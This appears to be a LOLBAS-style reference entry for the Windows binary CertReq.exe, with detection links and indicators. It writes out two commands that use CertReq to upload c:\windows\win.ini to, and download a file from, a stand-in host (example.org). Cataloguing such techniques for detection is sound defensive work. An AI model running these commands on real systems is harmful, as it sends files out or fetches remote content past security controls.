.. /CertReq.exe
Star

Used for requesting and managing certificates

Paths:

C:\Windows\System32\certreq.exe
C:\Windows\SysWOW64\certreq.exe

Resources:

https://dtm.uk/certreq

Acknowledgements:

David Middlehurst (@dtmsecurity)

Detection:

Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_susp_certreq_download.yml
IOC: certreq creates new files
IOC: certreq makes POST requests

Download

Save the response from a HTTP POST to the endpoint https://example.org/ as output.txt in the current directory
```
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
```
Use case
Download file from Internet

Privileges required
User

Operating systems
Windows 10, Windows 11

ATT&CK® technique
T1105

Upload

Send the file c:\windows\win.ini to the endpoint https://example.org/ via HTTP POST and show response in terminal
```
CertReq -Post -config https://example.org/ c:\windows\win.ini
```
Use case
Upload

Privileges required
User

Operating systems
Windows 10, Windows 11

ATT&CK® technique
T1105